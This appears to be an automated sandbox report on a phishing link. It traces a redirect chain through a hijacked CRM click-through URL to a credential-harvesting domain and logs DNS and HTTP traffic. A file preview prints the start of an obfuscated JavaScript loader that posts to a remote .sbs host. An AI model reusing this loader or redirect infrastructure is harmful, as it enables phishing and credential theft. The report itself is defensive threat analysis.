https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://5425043750-1317754460.cos.ap-tokyo.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
http://martinscarnes.com.br/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/91b3d7a1caf4f5fa/1741117196235/gHyoFB5px8RwHLG	false		high
https://paymentsremittance.hostingdoccentral.it.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/91b3d7a1caf4f5fa/1741117196240/5f5179d8f005775bc0fbb7d28de578b659eef721cfc96249788452da6818c06a/3Xcn4es6iFXBdtg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://getbootstrap.com/)	chromecache_71.3.dr, chromecache_73.3.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_89.3.dr, chromecache_71.3.dr, chromecache_82.3.dr, chromecache_73.3.dr	false	high
https://getbootstrap.com)	chromecache_89.3.dr, chromecache_82.3.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_89.3.dr, chromecache_71.3.dr, chromecache_82.3.dr, chromecache_73.3.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_87.3.dr, chromecache_75.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
43.128.240.48	cos.ap-tokyo.myqcloud.com	Japan	4249	LILLY-ASUS	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.135.175	paymentsremittance.hostingdoccentral.it.com	United States	13335	CLOUDFLARENETUS	true
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
199.255.85.101	reedhawkins.watsonrealtycorp.com	United States	14230	INVOLTAUS	false
69.49.246.64	5425043750.sbs	United States	46606	UNIFIEDLAYER-AS-1US	false
88.221.92.12	e329293.dscd.akamaiedge.net	European Union	9329	SLTINT-AS-APSriLankaTelecomInternetLK	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
92.123.12.174	unknown	European Union	16625	AKAMAI-ASUS	false
43.128.240.50	unknown	Japan	4249	LILLY-ASUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
107.161.183.67	martinscarnes.com.br	United States	33182	DIMENOCUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1629518
Start date and time:	2025-03-04 20:38:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@20/46@52/21
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.163, 142.250.186.174, 74.125.133.84, 216.58.206.46, 142.250.185.78, 184.30.131.245, 199.232.214.172, 142.250.185.142, 142.250.186.46, 142.250.184.202, 172.217.18.106, 172.217.16.138, 142.250.185.138, 142.250.181.234, 216.58.206.74, 142.250.185.234, 142.250.185.74, 142.250.186.42, 142.250.185.106, 142.250.185.202, 142.250.74.202, 172.217.18.10, 142.250.186.74, 142.250.185.170, 216.58.206.42, 172.217.16.202, 216.58.212.170, 172.217.23.110, 216.58.212.142, 142.250.186.99, 142.250.184.238, 23.60.203.209, 13.107.246.60, 4.175.87.197
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65471), with CRLF line terminators
Category:	dropped
Size (bytes):	553001
Entropy (8bit):	4.842798199991003
Encrypted:	false
SSDEEP:	3072:gHnbk+KukFN5mEL+Ly+ZEI56LT8D7vHTlMmh2WLLVMtQT:gHbk+KukFN5mIqJ6LT4HlMmhJLLVMKT
MD5:	1DD173EB0E6C62984F3A991E926BC40A
SHA1:	55376BAD25E4BC58D7CF5083FC3C08AE75921243
SHA-256:	1342871F14DC491B8FE0169B02BD49983F641131BAC6452856E9872149F778D1
SHA-512:	A293822B439702BA23DBA1DEC0ADA03D5646A1F2C9E7737874133D9056751658DC77EE02EA0D7229F9B60DEED2A3CBE8BB34BEDA86E47CB25691714AC4D100C3
Malicious:	false
Reputation:	low
Preview:	var file = "aHR0cHM6Ly81NDI1MDQzNzUwLnNicy9nb29nbGUucGhw";....var _0x328e7e=_0x5934;function _0x5934(_0x16ca03,_0x541b4c){var _0x5f0c3c=_0x29fd();return _0x5934=function(_0x3f3d5b,_0x1d80df){_0x3f3d5b=_0x3f3d5b-(0x144+0x2-0x895+-0x9d-0x1d);var _0x512a2d=_0x5f0c3c[_0x3f3d5b];return _0x512a2d;},_0x5934(_0x16ca03,_0x541b4c);}(function(_0x313f87,_0x57dc23){var _0x1101e4=_0x5934,_0x128fc2=_0x313f87();while(!![]){try{var _0x486dfe=-parseInt(_0x1101e4(0x19ac))/(0x22210x1+-0x874+-0x19ac)+parseInt(_0x1101e4(0x1af9))/(0x1ac7+0x25a2+0x1-0x4067)+-parseInt(_0x1101e4(0x2282))/(0x1b0x8b+0x7680x4+-0x2c46)+parseInt(_0x1101e4(0x27e4))/(-0x103d+-0x22eb+0x332c)+parseInt(_0x1101e4(0x2c80))/(0x23c8+0x7bb-0x1+-0x1380x17)(-parseInt(_0x1101e4(0x23aa))/(-0x1374+-0x2-0x55e+0x8be))+-parseInt(_0x1101e4(0xbe3))/(-0xb1-0x1d+0x1a35+-0x5230x9)+-parseInt(_0x1101e4(0x29c9))/(-0x1276+-0x1bb3+0x2b0x113)(-parseInt(_0x1101e4(0x25a0))/(-0x10x20ae+-0x94e+0x1f0x15b));if(_0x486dfe===_0x57dc23)break;else _0x128fc

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 4, 2025 20:39:43.838474035 CET	53	58940	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:43.842415094 CET	53	56551	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:44.816519976 CET	53	54242	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:46.428515911 CET	49232	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:46.428571939 CET	56297	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:46.436110020 CET	53	49232	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:46.436728954 CET	53	56297	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:49.557121038 CET	65018	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:49.557310104 CET	57382	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:49.572026014 CET	53	65018	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:49.581140041 CET	53	57382	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:50.567503929 CET	55049	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:50.568902016 CET	57704	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:50.943171978 CET	53	57704	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:50.948987961 CET	53	55049	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:51.565875053 CET	58994	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:51.566008091 CET	60439	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:51.584942102 CET	53	58994	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:51.626087904 CET	53	60439	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:52.521814108 CET	58482	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:52.522140980 CET	54043	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:52.522629976 CET	56521	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:52.522775888 CET	63254	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:52.529223919 CET	53	58482	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:52.529481888 CET	53	54043	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:52.529794931 CET	53	56521	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:52.530124903 CET	53	63254	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:53.132615089 CET	56248	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:53.132783890 CET	54639	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:53.139858007 CET	53	56248	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:53.141124964 CET	53	54639	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:53.985023022 CET	49785	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:53.985387087 CET	52688	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:53.993684053 CET	53	49785	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:53.994249105 CET	53	52688	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:54.011993885 CET	49276	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:54.012187004 CET	51317	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:54.020580053 CET	53	49276	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:54.020746946 CET	53	51317	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:55.834352970 CET	55721	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:55.834561110 CET	62968	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:39:55.842765093 CET	53	55721	1.1.1.1	192.168.2.6
Mar 4, 2025 20:39:55.842782974 CET	53	62968	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:02.235649109 CET	53	57401	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.420450926 CET	50084	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.420779943 CET	51513	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.421533108 CET	55324	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.421659946 CET	60241	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.422626972 CET	63128	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.422782898 CET	55857	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.423846006 CET	55726	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.423964024 CET	60098	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.424343109 CET	51182	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.424475908 CET	55204	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:08.427975893 CET	53	51513	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.427997112 CET	53	50084	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.428622961 CET	53	60241	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.428761005 CET	53	55324	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.429637909 CET	53	63128	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.431581020 CET	53	49219	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.431987047 CET	53	55726	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.432349920 CET	53	60098	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.432879925 CET	53	55857	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.604979992 CET	53	55204	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:08.892445087 CET	53	51182	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.136276960 CET	60569	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.136413097 CET	65277	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.143577099 CET	53	60569	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.145001888 CET	53	65277	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.175406933 CET	54900	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.175632954 CET	56914	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.182631016 CET	53	54900	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.183615923 CET	53	56914	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.204153061 CET	61019	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.204448938 CET	58235	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.211493015 CET	53	58235	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.211544991 CET	53	61019	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.216453075 CET	49601	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.216559887 CET	61574	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:09.224560022 CET	53	61574	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.225172043 CET	53	49601	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:09.664149046 CET	53	51915	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:10.989353895 CET	53414	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:10.990169048 CET	55503	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:10.991122007 CET	61596	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:10.991291046 CET	64980	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:11.208038092 CET	53	64980	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:11.264878988 CET	53	55503	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:11.358623981 CET	53	53414	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:11.360188007 CET	53	61596	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:12.699156046 CET	63099	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:12.699412107 CET	49501	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:13.046324015 CET	53	49501	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:13.159861088 CET	53	63099	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:15.731702089 CET	55440	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:15.731955051 CET	62319	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:15.740099907 CET	53	55440	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:15.740313053 CET	53	62319	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:15.841388941 CET	53	64676	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:16.735281944 CET	53894	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:16.735393047 CET	55413	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:16.743305922 CET	53	55413	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:16.743849039 CET	53	53894	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:17.162746906 CET	52244	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:17.162858009 CET	60888	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:17.170372009 CET	53	60888	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:17.170721054 CET	53	52244	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:19.159826994 CET	61009	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:19.160242081 CET	51360	53	192.168.2.6	1.1.1.1
Mar 4, 2025 20:40:19.168015957 CET	53	51360	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:19.168267965 CET	53	61009	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:21.345963955 CET	53	61382	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:43.509886026 CET	53	61031	1.1.1.1	192.168.2.6
Mar 4, 2025 20:40:43.695061922 CET	53	59309	1.1.1.1	192.168.2.6

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2025 20:39:49.587476969 CET	661	OUT	GET /shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== HTTP/1.1 Host: reedhawkins.watsonrealtycorp.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 4, 2025 20:39:50.563430071 CET	447	IN	HTTP/1.1 302 Found Date: Tue, 04 Mar 2025 19:39:50 GMT Server: Apache X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Server-Timing: pp;dur=10.747194 Location: http://martinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== X-XSS-Protection: 1; mode=block Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2025 20:39:50.954994917 CET	521	OUT	GET /grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== HTTP/1.1 Host: martinscarnes.com.br Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 4, 2025 20:39:51.497854948 CET	362	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:56 GMT Server: Apache X-Powered-By: PHP/7.4.33 Refresh: 0; url=https://Paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Content-Length: 0 Keep-Alive: timeout=3, max=100 Content-Type: text/html; charset=UTF-8
Mar 4, 2025 20:39:51.577419996 CET	470	OUT	GET /favicon.ico HTTP/1.1 Host: martinscarnes.com.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://martinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:47 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6a 6c 51 43 31 55 32 4b 69 55 65 63 62 73 33 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 39 61 62 32 35 63 31 39 35 66 35 30 33 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: jlQC1U2KiUecbs3m.1Context: c59ab25c195f5039
2025-03-04 19:39:47 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-03-04 19:39:47 UTC	1384	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 33 36 31 0d 0a 4d 53 2d 43 56 3a 20 6a 6c 51 43 31 55 32 4b 69 55 65 63 62 73 33 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 39 61 62 32 35 63 31 39 35 66 35 30 33 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 59 41 2b 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 79 51 39 33 33 6a 42 35 76 74 6b 5a 2b 63 52 49 5a 35 73 31 2b 2b 53 57 66 4e 33 2b 36 43 5a 72 35 66 66 31 66 38 34 42 38 62 34 39 62 64 6f 43 73 52 69 51 53 50 46 57 75 79 50 70 6c 46 4a 30 6d 59 57 34 33 34 6c 2b 4b 41 61 4c 59 79 2b 6c 7a 4d 38 6e 65 6b 36 6f 30 7a 76 4e 72 6c 65 32 32 4c 2b 7a 6c 76 2b 2f 62 6d 48 72 Data Ascii: ATH 2 CON\DEVICE 1361MS-CV: jlQC1U2KiUecbs3m.2Context: c59ab25c195f5039<device><compact-ticket>t=EwCYA+pIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATyQ933jB5vtkZ+cRIZ5s1++SWfN3+6CZr5ff1f84B8b49bdoCsRiQSPFWuyPplFJ0mYW434l+KAaLYy+lzM8nek6o0zvNrle22L+zlv+/bmHr
2025-03-04 19:39:47 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6a 6c 51 43 31 55 32 4b 69 55 65 63 62 73 33 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 35 39 61 62 32 35 63 31 39 35 66 35 30 33 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: jlQC1U2KiUecbs3m.3Context: c59ab25c195f5039<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-03-04 19:39:48 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-03-04 19:39:48 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 2b 5a 53 55 73 49 51 51 55 4b 33 76 4f 32 4a 6b 4d 42 65 6c 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: L+ZSUsIQQUK3vO2JkMBelw.0Payload parsing failed.

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:52 UTC	764	OUT	GET /OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== HTTP/1.1 Host: paymentsremittance.hostingdoccentral.it.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://martinscarnes.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
